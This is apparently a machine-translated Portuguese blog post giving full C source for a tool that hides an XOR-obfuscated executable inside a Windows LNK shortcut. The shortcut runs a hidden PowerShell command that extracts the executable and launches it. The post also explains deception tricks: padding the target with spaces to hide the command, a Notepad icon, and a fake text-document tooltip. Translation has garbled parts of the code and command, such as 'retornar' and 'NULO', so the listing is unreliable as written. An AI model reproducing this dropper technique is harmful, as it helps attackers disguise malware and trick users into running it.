Eu vi vários arquivos LNK maliciosos em estado selvagem. Esses arquivos de link geralmente executam um script (Powershell, VBScript, etc) que baixa uma carga externa.
Propus a mim mesmo o desafio de criar um arquivo LNK com um arquivo EXE embutido, sem a necessidade de downloads externos.
Isso foi obtido criando um arquivo LNK com o arquivo EXE anexado ao final. O arquivo LNK executa alguns comandos do Powershell para ler o conteúdo do EXE do final do LNK, copia-o para um arquivo na pasta %TEMP% e o executa.
Desenvolvi um programa que cria um LNK a partir de um arquivo EXE de destino.
Alguns problemas foram encontrados com este método:
1. Encontrar o nome do arquivo LNK.
Ao executar os comandos do Powershell para extrair o EXE do LNK, não sabemos o nome do arquivo LNK que foi executado. Poderíamos codificar o nome do arquivo, mas essa não é uma solução confiável. Isso foi corrigido armazenando o tamanho total do arquivo LNK dentro do comando Powershell e verificando todos os arquivos *.LNK no diretório atual para encontrar um com um tamanho de arquivo correspondente.
2. Encontrar o deslocamento dos dados EXE dentro do LNK.
Isso foi corrigido armazenando o comprimento do arquivo LNK original (sem incluir os dados EXE anexados) no comando Powershell.
3. O comando Powershell fica visível ao visualizar as "Propriedades" do arquivo LNK.
Isso foi corrigido prefixando o campo de destino com 512 caracteres de espaço. Isso ultrapassa o campo de texto na caixa de diálogo "Propriedades" e exibe apenas espaços.
O arquivo LNK possui um ícone de arquivo executável.
Isso foi corrigido definindo a localização do ícone (usando o sinalizador HasIconLocation) para "%windir%\system32\notepad.exe".
. Passar o mouse sobre o arquivo LNK exibe o local como "cmd".
Isso foi corrigido definindo a descrição do atalho (usando o sinalizador HasName) para "Tipo: documento de texto\nTamanho: 5,23 KB\nData de modificação: 01/02/2020 11:23".
O arquivo EXE fica claramente visível ao abrir o arquivo LNK em um editor hexadecimal.
Isso foi aprimorado "criptografando" cada byte dos dados do arquivo EXE usando XOR e "descriptografando"
O destino LNK completo tem a seguinte aparência:
cmd /c powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk ^| where-object {$_.length -eq [TOTAL_LNK_FILE_SIZE]} ^| Select-Object -ExpandProperty Name; $arquivo = gc $lnkpath -Byte de codificação; for($i=0; $i -lt $arquivo.contagem; $i++) { $arquivo[$i] = $arquivo[$i] -bxor 0x77 }; $caminho = '%temp%\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file^| select -Skip [LNK_FILE_SIZE_EXCLUDING_EXE])) -Codificação de byte; ^& $caminho;
Código completo do programa de prova de conceito abaixo:
#include <stdio.h> #include <windows.h> #define INVALID_SET_FILE_POINTER 0xFFFFFFFF #define HasName 0x00000004 #define HasArguments 0x00000020 #define HasIconLocation 0x00000040 #define IsUnicode 0x00000080 #define HasExpString 0x00000200 #define PreferEnvironmentPath 0x02000000 struct ShellLinkHeaderStruct { DWORD dwHeaderSize; CLSID LinkCLSID; DWORD dwLinkFlags; DWORD dwFileAttributes; FILETIME Tempo de Criação; FILETIME Tempo de Acesso; FILETIME WriteTime; DWORD dwFileSize; DWORD dwIconIndex; DWORD dwShowCommand; PALAVRA wHotKey; PALAVRA wReservado1; DWORD dwReservado2; DWORD dwReservado3; }; struct EnvironmentVariableDataBlockStruct { DWORD dwBlockSize; DWORD dwBlockSignature; char szTargetAnsi[MAX_PATH]; wchar_t wszTargetUnicode[MAX_PATH]; }; DWORD CreateLinkFile(char *pExePath, char *pOutputLinkPath, char *pLinkIconPath, char *pLinkDescription) { HANDLE hLinkFile = NULL; HANDLE hExeFile = NULL; ShellLinkHeaderStruct ShellLinkHeader; EnvironmentVariableDataBlockStruct EnvironmentVariableDataBlock; DWORD dwBytesWritten = 0; WORD wLinkDescriptionLength = 0; wchar_t wszLinkDescription[512]; WORD wCommandLineArgumentsLength = 0; wchar_t wszCommandLineArguments[8192]; WORD wIconLocationLength = 0; wchar_t wszIconLocation[512]; BYTE bExeDataBuffer[1024]; DWORD dwBytesRead = 0; DWORD dwEndOfLinkPosition = 0; DWORD dwCommandLineArgsStartPosition = 0; wchar_t *pCmdLinePtr = NULO; wchar_t wszOverwriteSkipBytesValue[16]; wchar_t wszOverwriteSearchLnkFileSizeValue[16]; BYTE bXorEncryptValue = 0; DWORD dwTotalFileSize = 0; // define o valor de criptografia xor bXorEncryptValue = 0x77; // cria arquivo de link hLinkFile = CreateFile(pOutputLinkPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if(hLinkFile == INVALID_HANDLE_VALUE) { printf("Falha ao criar arquivo de saída\n"); retornar 1; } // inicializa o cabeçalho do link memset((void*)&ShellLinkHeader, 0, sizeof(ShellLinkHeader)); ShellLinkHeader.dwHeaderSize = sizeof(ShellLinkHeader); CLSIDFromString(L"{00021401-0000-0000-C000-000000000046}", &ShellLinkHeader.LinkCLSID); ShellLinkHeader.dwLinkFlags = HasArguments | HasExpString | PreferEnvironmentPath | éUnicode | TemNome | HasIconLocation; ShellLinkHeader.dwFileAttributes = 0; ShellLinkHeader.CreationTime.dwHighDateTime = 0; ShellLinkHeader.CreationTime.dwLowDateTime = 0; ShellLinkHeader.AccessTime.dwHighDateTime = 0; ShellLinkHeader.AccessTime.dwLowDateTime = 0; ShellLinkHeader.WriteTime.dwHighDateTime = 0; ShellLinkHeader.WriteTime. dwLowDateTime = 0; ShellLinkHeader.dwFileSize = 0; ShellLinkHeader.dwIconIndex = 0; ShellLinkHeader.dwShowCommand = SW_SHOWMINNOACTIVE; ShellLinkHeader.wHotKey = 0; // escreve ShellLinkHeader if(WriteFile(hLinkFile, (void*)&ShellLinkHeader, sizeof(ShellLinkHeader), &dwBytesWritten, NULL) == 0) { // erro CloseHandle(hLinkFile); retornar 1; } // define a descrição do link memset(wszLinkDescription, 0, sizeof(wszLinkDescription)); mbstowcs(wszLinkDescription, pLinkDescription, (sizeof(wszLinkDescription) / sizeof(wchar_t)) - 1); wLinkDescriptionLength = (WORD)wcslen(wszLinkDescription); // escreve LinkDescriptionLength if(WriteFile(hLinkFile, (void*)&wLinkDescriptionLength, sizeof(WORD), &dwBytesWritten, NULL) == 0) { // erro CloseHandle(hLinkFile); retornar 1; } // escreve LinkDescription if(WriteFile(hLinkFile, (void*)wszLinkDescription, wLinkDescriptionLength * sizeof(wchar_t), &dwBytesWritten, NULL) == 0) { // erro CloseHandle(hLinkFile); retornar 1; } // definir linha de comando de destino memset(wszCommandLineArguments, 0, sizeof(wszCommandLineArguments)); _snwprintf(wszCommandLineArguments, (sizeof(wszCommandLineArguments) / sizeof(wchar_t)) - 1, L"%512S/c powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk ^| where-object {$_.length -eq 0x00000000 } ^| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[ $i] -bxor 0x%02X }; $path = '%%temp%%\\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file ^| select -Skip 000000)) -Encoding Byte; ^& $path;", "", bXorEncryptValue); wCommandLineArgumentsLength = (WORD)wcslen(wszCommandLineArguments); // escreve CommandLineArgumentsLength if(WriteFile(hLinkFile, (void*)&wCommandLineArgumentsLength, sizeof(WORD), &dwBytesWritten, NULL) == 0) { // erro CloseHandle(hLinkFile); retornar 1; } // armazena o início da posição dos argumentos da linha de comando dwCommandLineArgsStartPosition = GetFileSize(hLinkFile, NULL); // escreve CommandLineArguments if(WriteFile(hLinkFile, (void*)wszCommandLineArguments, wCommandLineArgumentsLength * sizeof(wchar_t), &dwBytesWritten, NULL) == 0) { // erro CloseHandle(hLinkFile); retornar 1; } // define o caminho do ícone do link memset(wszIconLocation, 0, sizeof(wszIconLocation)); mbstowcs(wszIconLocation, pLinkIconPath, (sizeof(wszIconLocation) / sizeof(wchar_t)) - 1); wIconLocationLength = (WORD)wcslen(wszIconLocation); // escreve IconLocationLength if(WriteFile(hLinkFile, (void*)&wIconLocationLength, sizeof(WORD), &dwBytesWritten, NULL) == 0) { // erro CloseHandle(hLinkFile); retornar 1; } // escreve IconLocation if(WriteFile(hLinkFile, (void*)wszIconLocation, wIconLocationLength * sizeof(wchar_t), &dwBytesWritten, NULL) == 0) { // erro CloseHandle(hLinkFile); retornar 1; } // inicializa o bloco de dados da variável de ambiente memset((void*)&EnvironmentVariableDataBlock, 0, sizeof(EnvironmentVariableDataBlock)); EnvironmentVariableDataBlock.dwBlockSize = sizeof(EnvironmentVariableDataBlock); EnvironmentVariableDataBlock.dwBlockSignature = 0xA0000001; strncpy(EnvironmentVariableDataBlock.szTargetAnsi, "%windir%\\system32\\cmd.exe", sizeof(EnvironmentVariableDataBlock.szTargetAnsi) - 1); mbstowcs(EnvironmentVariableDataBlock.wszTargetUnicode, EnvironmentVariableDataBlock.szTargetAnsi, (sizeof(EnvironmentVariableDataBlock.wszTargetUnicode) / sizeof(wchar_t)) - 1); // escreve EnvironmentVariableDataBlock if(WriteFile(hLinkFile, (void*)&EnvironmentVariableDataBlock, sizeof(EnvironmentVariableDataBlock), &dwBytesWritten, NULL) == 0) { // erro CloseHandle(hLinkFile); retornar 1; } // armazena a posição dos dados no final do link dwEndOfLinkPosition = GetFileSize(hLinkFile, NULL); // abre o arquivo exe de destino hExeFile = CreateFile(pExePath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if(hExeFile == INVALID_HANDLE_VALUE) { printf("Falha ao abrir arquivo exe\n"); // erro CloseHandle(hLinkFile); retornar 1; } // anexa o arquivo exe ao final do arquivo lnk for(;; ) { // lê dados do arquivo exe if(ReadFile(hExeFile, bExeDataBuffer, sizeof(bExeDataBuffer), &dwBytesRead, NULL) == 0) { // erro CloseHandle(hExeFile); CloseHandle(hLinkFile); retornar 1; } // verifica o fim do arquivo if(dwBytesRead == 0) { break; } // "criptografar" os dados do arquivo exe for(DWORD i = 0; i < dwBytesRead; i++) { bExeDataBuffer[i] ^= bXorEncryptValue; } // grava dados no arquivo lnk if(WriteFile(hLinkFile, bExeDataBuffer, dwBytesRead, &dwBytesWritten, NULL) == 0) { // erro CloseHandle(hExeFile); CloseHandle(hLinkFile); retornar 1; } } // fecha o identificador do arquivo exe CloseHandle(hExeFile); // armazena o tamanho total do arquivo dwTotalFileSize = GetFileSize(hLinkFile, NULL); // encontra o valor de deslocamento do número de bytes a serem ignorados nos argumentos da linha de comando pCmdLinePtr = wcsstr(wszCommandLineArguments, L"select -Skip 000000)"); if(pCmdLinePtr == NULL) { // erro CloseHandle(hLinkFile); retornar 1; } pCmdLinePtr += strlen("selecione -Skip"); // move o ponteiro do arquivo de volta para o valor "000000" nos argumentos da linha de comando if(SetFilePointer(hLinkFile, dwCommandLineArgsStartPosition + (DWORD)((BYTE*)pCmdLinePtr - (BYTE*)wszCommandLineArguments), NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER) { // erro CloseHandle(hLinkFile); retornar 1; } // substitui o tamanho do arquivo de link memset(wszOverwriteSkipBytesValue, 0, sizeof(wszOverwriteSkipBytesValue)); _snwprintf(wszOverwriteSkipBytesValue, (sizeof(wszOverwriteSkipBytesValue) / sizeof(wchar_t)) - 1, L"%06u", dwEndOfLinkPosition); if(WriteFile(hLinkFile, (void*)wszOverwriteSkipBytesValue, wcslen(wszOverwriteSkipBytesValue) * sizeof(wchar_t), &dwBytesWritten, NULL) == 0) { // erro CloseHandle(hLinkFile); retornar 1; } // encontre o valor de deslocamento do comprimento total do arquivo lnk nos argumentos da linha de comando pCmdLinePtr = wcsstr(wszCommandLineArguments, L"_.length -eq 0x00000000}"); if(pCmdLinePtr == NULL) { // erro CloseHandle(hLinkFile); retornar 1; } pCmdLinePtr += strlen("_.length -eq "); // move o ponteiro do arquivo de volta para o valor "0x00000000" nos argumentos da linha de comando if(SetFilePointer(hLinkFile, dwCommandLineArgsStartPosition + (DWORD)((BYTE*)pCmdLinePtr - (BYTE*)wszCommandLineArguments), NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER) { // erro CloseHandle(hLinkFile); retornar 1; } // substitui o tamanho do arquivo de link memset(wszOverwriteSearchLnkFileSizeValue, 0, sizeof(wszOverwriteSearchLnkFileSizeValue)); _snwprintf(wszOverwriteSearchLnkFileSizeValue, (sizeof(wszOverwriteSearchLnkFileSizeValue) / sizeof(wchar_t)) - 1, L"0x%08X", dwTotalFileSize); if(WriteFile(hLinkFile, (void*)wszOverwriteSearchLnkFileSizeValue, wcslen(wszOverwriteSearchLnkFileSizeValue) * sizeof(wchar_t), &dwBytesWritten, NULL) == 0) { // erro CloseHandle(hLinkFile); retornar 1; } // fecha o manipulador do arquivo de saída CloseHandle(hLinkFile); retornar 0; } int main(int argc, char *argv[]) { char *pExePath = NULL; char *pOutputLinkPath = NULL; printf("EmbedExeLnk - wwwx86matthew.com\n\n"); if(argc != 3) { printf("Uso: %s [exe_path] [output_lnk_path]\n\n", argv[0]); retornar 1; } // pega os parâmetros pExePath = argv[1]; pOutputLinkPath = argv[2]; // cria um arquivo de link contendo o exe de destino if(CreateLinkFile(pExePath, pOutputLinkPath, "%windir%\\system32\\notepad.exe", "Type: Text Document\nSize: 5.23 KB\nData modificado: 01/02/ 2020 11:23") != 0) { printf("Erro\n"); retornar 1; } printf("Concluído\n"); retornar 0; }
(isso executa um pequeno programa que escrevi em assembly que chama MessageBoxA)
Faça o download do arquivo LNK de amostra https://www.x86matthew.com/view_post?id=embed_exe_lnk